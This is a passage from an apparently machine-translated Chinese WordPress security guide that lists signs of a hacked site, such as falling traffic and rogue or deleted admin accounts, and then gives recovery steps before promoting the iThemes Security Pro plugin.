    最后,我明白了为什么我无法看到弹出窗口。 我在我的浏览器上安装了一个广告拦截器扩展。 一旦我禁用了广告拦截器扩展程序,我就可以在任何地方看到弹出窗口。 我分享这个令人尴尬的故事是为了让您免于陷入同样的​​错误,希望如此。

    4. 您注意到网站流量减少

    如果您登录您的 Google Analytics 帐户并发现网站流量急剧下降,则您的 WordPress 网站可能被黑客入侵。 网站流量下降值得调查。 您的网站上可能存在恶意脚本将访问者从您的网站重定向,或者 Google 可能已经将您的网站列入黑名单为恶意网站。

    您要查找的第一件事是您网站的出站流量。 通过使用 Google Analytics 跟踪您的网站,您需要配置您的网站以跟踪离开您网站的流量。 监控 WordPress 网站出站流量的最简单方法是使用 WordPress Google Analytics 插件。

    6. 意外的新用户

    如果您的网站有任何新管理员用户的意外注册,这是您的 WordPress 网站已被黑客入侵的另一个迹象。 通过对受感染用户的利用,攻击者可以创建新的管理员用户。 凭借他们的新管理员权限,黑客已准备好对您的网站造成一些重大损害。

    还记得之前的 WP GDPR 合规性插件吗? 2018 年 11 月,我们收到了几份关于在客户网站上创建新管理员用户的报告。 黑客利用 WP GDPR 合规性插件中的漏洞(该漏洞已在 1.4.3 版中修补)在运行该插件的 WordPress 站点上创建新的管理员用户。 该插件漏洞允许未经授权的用户修改用户注册,将默认的新用户角色从订阅者更改为管理员。 不幸的是,这不是唯一的漏洞,您不能只删除攻击者创建的新用户并修补插件。

    如果您安装了 WP GDPR Compliance 和 WooCommerce,您的网站可能已被注入恶意代码。 攻击者可以使用 WooCommerce 插件后台安装程序在数据库中插入后门安装程序。 如果您的站点安装了后门,您应该联系黑客修复专家。 另一种选择是使用备份文件在破坏之前使用以前的备份回滚到您网站的副本。

    7. 删除管理员用户

    如果您无法登录您的 WordPress 网站,即使在重置密码后,也可能是严重的感染迹象。

    当 Gentoo Github 存储库被黑时,攻击者做的第一件事就是删除所有管理员用户。 那么这个黑客是如何进入他们的 Github 账户的呢? 在另一个站点上发现了一个 Gentoo 管理员用户的密码。 我猜测用户名和密码是通过抓取或数据库转储发现的。

    尽管他们 Gentoo Github 帐户的管理员密码与被盗帐户上使用的密码不同,但非常相似。 所以这就像我在一个帐户上使用 iAmAwesome2020 作为密码,在另一个站点上使用 iAmAwesome2021 作为密码。 因此,黑客能够通过一点点努力找出密码。 正如我们所见,您应该为每个帐户使用唯一的密码。 密码的简单变化是不够的。 使用 LastPass,您可以为每个站点生成并安全存储强大的唯一密码。

    如何从灾难中回来

    如果您怀疑发生了违规行为,您可以采取一些快速步骤来减轻损失。

    还原到您站点的先前/干净备份

    消除安全漏洞的最可靠方法是在攻击之前将您的站点恢复到以前的版本。 这就是为什么拥有一个全面的 WordPress 备份解决方案如此重要的原因。 我们建议使用 BackupBuddy 安排备份自动运行,以便您始终拥有备份。

    请注意,恢复以前的备份可能仍然会使您的站点容易受到同样的破坏,因此遵循这些步骤也很重要。

    立即更新所有过时的插件和主题

    易受攻击的插件或主题可能仍然是罪魁祸首,因此立即更新所有过时的插件或主题很重要。 即使您恢复到以前干净的网站版本,相同的漏洞仍然存在并且可能再次被黑客攻击。

    您可能还想检查您是否在运行一个仍然没有开发人员补丁的易受攻击的插件或主题。 您需要立即删除此插件。

    启用两因素身份验证

    如果您没有使用双因素身份验证来保护管理员登录,请立即激活它。 这一额外的安全层将有助于确保未经授权的用户无法破解任何管理员帐户。

    寻求专业恶意软件删除帮助

    WordPress 安全漏洞发生在服务器级别(比您的 WordPress 安装更深),因此您可能需要联系专业的恶意软件清除服务。 我们建议使用 WeWatchYourWebsite 进行专业的恶意软件清除。

    总结:WordPress 安全终极指南

    在这个 WordPress 安全指南中,我们涵盖了很多! 但是,通过遵循本指南中的提示,您将阻止几乎 100% 对您网站发起的攻击。

    WordPress 安全插件可以帮助保护您的 WordPress 网站

    结合本指南中 WordPress 安全主题的知识,WordPress 安全插件可以帮助保护您的 WordPress 网站。 iThemes Security Pro 是我们的 WordPress 安全插件,提供 50 多种方法来保护您的网站免受常见 WordPress 安全漏洞的侵害。 借助 WordPress、双因素身份验证、强力保护、强密码强制执行等,您可以为您的网站增加一层额外的安全性。